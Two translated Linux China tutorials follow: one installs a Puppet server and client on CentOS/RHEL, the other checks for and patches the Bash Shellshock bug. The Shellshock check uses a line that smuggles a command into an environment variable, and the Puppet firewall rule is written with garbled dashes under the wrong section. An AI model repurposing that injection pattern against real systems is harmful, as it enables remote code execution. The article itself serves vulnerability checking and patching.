当手中有相当多的机器需要管理的时候,自动化处理冗余又无聊的任务对系统管理员来说就很重要了。很多管理员习惯了自己写脚本模拟复杂软件之间的调度。不幸的是,脚本会过时,脚本的作者会离职,如果不花费巨大精力来维护这些脚本的话,它们早晚会一点儿用也没有。如果能有一个系统,任何人都可以使用、安装工具,不论其受雇于何人,那真是太期待了。目前已有几种系统可以解决这类需求,这篇教程将介绍其中之一——Puppet——的使用方法。

Puppet 是什么?

Puppet 是一款为 IT 系统管理员和顾问们设计的自动化软件,你可以用它自动化地完成诸如安装应用程序和服务、补丁管理和部署等工作。所有资源的相关配置都以“manifests”的方式保存,单台机器或者多台机器都可以使用。如果你想了解更多内容,Puppet 实验室的网站上有关于 Puppet 及其工作原理的更详细的介绍。

Linux:在 CentOS 和 RHEL 上安装 Puppet 服务器和客户端
Linux:在 CentOS 和 RHEL 上安装 Puppet 服务器和客户端

本教程要做些什么?

在这篇教程里,我们将一起安装配置一个 Puppet 服务器,然后在我们的客户端服务器(译注:这里的“客户端服务器”指需要部署业务逻辑的服务器)上完成一些基本配置。

准备工作

由于 Puppet 不是 CentOS 或 RHEL 发行版的基本仓库,所以我们得手动添加 Puppet 实验室提供的自定义仓库。在所有你想使用 Puppet 的地方执行以下命令安装这个仓库(版本不同,对应的 RPM 文件名可能略有不同)。

对于 CentOS/RHEL 6.5:

# rpm -ivh https://yum.puppetlabs.com/el/6.5/products/x86_64/puppetlabs-release-6-10.noarch.rpm

对于 CentOS/RHEL 7:

 # rpm -ivh https://yum.puppetlabs.com/el/7/products/x86_64/puppetlabs-release-7-10.noarch.rpm

安装服务器端

在你打算用作 master 的服务器上安装 “puppet-server” 包。

# yum install puppet-server

安装完成后,设置 Puppet 服务器开机自动启动,然后启动它。

# chkconfig puppetmaster on
# service puppetmaster start

现在服务器已经运行起来了,我们试试看我们的网络能不能访问到它。

对于使用 iptables 当做防火墙的 CentOS/RHEL 6,在 /etc/sysconfig/iptables 文件的 OUTPUT ACCEPT 小节里添加下面这一行。

-A INPUT -m state –state NEW -m tcp -p tcp –dport 8140 -j ACCEPT

重新启动 iptables 服务让刚才的修改生效。

# service iptables restart

在安装了防火墙的 CentOS/RHEL 7 上,我们这么做:

# firewall-cmd --permanent --zone=public --add-port=8140/tcp
# firewall-cmd --reload

安装客户端

执行下面的命令,在客户端节点安装 Puppet 客户端。

# yum install puppet

安装完成后,确保 Puppet 会随开机自动启动。

# chkconfig puppet on

Puppet 客户端需要知道 Puppet master 服务器的地址。最佳方案是使用 DNS 服务器解析 Puppet master 服务器地址。如果你没有 DNS 服务器,在 /etc/hosts 里添加类似下面这几行也可以:

1.2.3.4 server.your.domain

2.3.4.5 client-node.your.domain

1.2.3.4 对应你的 Puppet master 服务器 IP 地址,“server.your.domain”是你的 master 服务器域名(默认通常是服务器的 hostname),“client-node.your.domain”是你的客户端节点。包括 Puppet master 和客户端,所有相关的服务器都要在 hosts 文件里配置。

完成这些设置之后,我们要让 Puppet 客户端知道它的 master 是谁。默认情况下,Puppet 会查找名为“puppet”的服务器,但通常这并不符合你网络环境的真实情况,所以我们要改成 Pupper master 服务器的完整域名。打开文件 /etc/sysconfig/puppet,把 PUPPET_SERVER 变量的值改成你在 /etc/hosts 文件里指定的 Puppet master 服务器的域名。

PUPPET_SERVER=server.your.domain

master 服务器名也要在 /etc/puppet/puppet.conf 文件的“[agent]”小节里事先定义好。

server=server.your.domain

现在可以启动 Puppet 客户端了:

# service puppet start

强制我们的客户端在 Puppet master 服务器上登记:

# puppet agent --test

你会看到类似于下面的输出。别怕,这是正常现象,因为服务器还没有在 Puppet master 服务器上验证过。

Exiting; no certificate found and waitforcert is disabled

返回 Puppet master 服务器,检查证书验证请求:

# puppet cert list

你应该能看到一个列出了所有向 Puppet master 服务器发起证书签名请求的服务器。找到你客户端服务器的 hostname 然后使用下面的命令签名(client-node 是你客户端节点的域名):

# puppet cert sign client-node

到此为止 Puppet 客户端和服务器都正常工作了。恭喜你!但是,现在 Puppet master 没有任何要客户端做的事儿。好吧,我们来创建一些基本的 manifest 文件然后让我们的客户端节点安装一些基本工具。

回到你的 Puppet 服务器,确保目录 /etc/puppet/manifests 存在。

# mkdir -p /etc/puppet/manifests

创建 manifest 文件 /etc/puppet/manifests/site.pp,内容如下

node 'client-node' {
        include custom_utils
}
class custom_utils {
        package { ["nmap","telnet","vim-enhanced","traceroute"]:
                ensure => latest,
                allow_virtual => false,
        }
}

然后重新启动 puppetmaster 服务。

# service puppetmaster restart

客户端默认每 30 分钟更新一次配置,如果你希望你的修改能强制生效,就在客户端执行如下命令:

# puppet agent -t

如果你需要修改客户端的默认刷新时间,编辑客户端节点的 /etc/puppet/puppet.conf 文件中“[agent]”小节,增加下面这一行:

runinterval =

这个选项的值可以是秒(格式比如 30 或者 30s),分钟(30m),小时(6h),天(2d)以及年(5y)。值得注意的是,0 意味着“立即执行”而不是“从不执行”

提示和技巧

1. 调试

你免不了会提交错误的配置,然后不得不通过调试判断问题出现在哪儿。一般来说,你要么通过查看日志文件 /var/log/puppet 着手解决问题,要么手动执行查看输出:

# puppet agent -t

使用“-t”选项,你可以看到 Puppet 的详细输出。这条命令还有额外的选项可以帮你定位问题。首先要介绍的选项是:

# puppet agent -t --debug

debug 选项会显示 Puppet 本次运行时的差不多每一个步骤,这在调试非常复杂的问题时很有用。另一个很有用的选项是:

# puppet agent -t --noop

这个选项让 puppet 工作在 dry-run(译注:空转模式,不会对真实环境产生影响)模式下,不会应用任何修改。Puppet 只会把其工作内容输出到屏幕上,不会写到磁盘里去。

2. 模块

有时候你需要更复杂的 manifest 文件,在你着手编写它们之前,你有必要花点儿时间浏览一下 https://forge.puppetlabs.com。Forge 是一个集合了 Puppet 模块的社区,你的问题很可能已经有人解答过了,你能在那儿找到解决问题的模块。如果找不到,那就自己写一个然后提交上去,其他人也能从中获益。

现在,假设你已经找到了一个模块能解决你的问题。怎么把它安装到你的系统中去呢?非常简单,因为 Puppet 已经有了可以直接下载模块的用户界面,只需要执行下面的命令:

# puppet module install  --version 0.0.0

是你选择的模块的名字,版本号可选(如果没有指定版本号,默认使用最新的版本)。如果你不记得想安装的模块的名字了,试试下面的命令搜索模块:

# puppet module search 

你会得到一个包含 search_string 的列表。

# puppet module search apache

Notice: Searching https://forgeapi.puppetlabs.com ...
NAME                   DESCRIPTION                        AUTHOR          KEYWORDS
example42-apache       Puppet module for apache           @example42      example42, apache
puppetlabs-apache      Puppet module for Apache           @puppetlabs     apache web httpd centos rhel ssl wsgi proxy
theforeman-apache      Apache HTTP server configuration   @theforeman     foreman apache httpd DEPRECATED

如果你想查看已经安装了哪些模块,键入:

# puppet module list

总结

到目前为止,你应该有了功能完整的可以向一个或多个客户端服务器推送基本配置的 Puppet master 服务器。你可以自己随便加点儿配置适配你自己的网络环境。不必为试用 Puppet 担心,你会发现,它会拯救你的生活。

Puppet 实验室正在试着维护一个质量上乘的项目文档,所以如果你想学点儿关于 Puppet 相关的配置,我强烈推荐你访问 Puppet 项目的主页 http://docs.puppetlabs.com

如果你有任何问题,敬请在文章下方评论,我会尽我所能回答你并给你建议。


via: http://xmodulo.com/2014/08/install-puppet-server-client-centos-rhel.html

作者:Jaroslav Štěpánek 译者:sailing 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3959-1.html

Linux:检查你的系统系统是否有“Shellshock”漏洞并修复它

Linux:检查你的系统系统是否有“Shellshock”漏洞并修复它
Linux:检查你的系统系统是否有“Shellshock”漏洞并修复它

快速地向你展示如何检查你的系统是否受到Shellshock的影响,如果有,怎样修复你的系统免于被Bash漏洞利用

如果你正跟踪新闻,你可能已经听说过在Bash中发现了一个漏洞,这被称为Bash Bug或者** Shellshock**。 红帽是第一个发现这个漏洞的机构。Shellshock错误允许攻击者注入自己的代码,从而使系统开放各给种恶意软件和远程攻击。事实上,黑客已经利用它来启动DDoS攻击

由于Bash在所有的类Unix系统中都有,如果这些都运行bash的特定版本,它会让所有的Linux系统都容易受到这种Shellshock错误的影响。

想知道如果你的Linux系统是否已经受到Shellshock影响?有一个简单的方法来检查它,这就是我们要看到的。

检查Linux系统的Shellshock漏洞

打开一个终端,在它运行以下命令:

env x='() { :;}; echo vulnerable' bash -c 'echo hello'

如果你的系统没有漏洞,你会看到这样的输出:

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
hello

如果你的系统有Shellshock漏洞,你会看到一个像这样的输出:

vulnerable
hello

我尝试在我的Ubuntu14.10上运行,我得到了这个:

Linux:检查你的系统系统是否有“Shellshock”漏洞并修复它
Linux:检查你的系统系统是否有“Shellshock”漏洞并修复它

您还可以通过使用下面的命令查看bash的版本:

bash --version

如果bash的版本是3.2.51(1),你就应该更新了。

为有Shellshock漏洞的Linux系统打补丁

如果你运行的是基于Debian的Linux操作系统,如Ubuntu、Linux Mint的等,请使用以下命令升级Bash:

sudo apt-get update && sudo apt-get install --only-upgrade bash

对于如Fedora,Red Hat,Cent OS等操作系统,请使用以下命令

yum -y update bash

我希望这个小技巧可以帮助你,看看你是否受到Shellshock漏洞的影响并解决它。有任何问题和建议,欢迎来提。


via: http://itsfoss.com/linux-shellshock-check-fix/

作者:Abhishek 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3960-1.html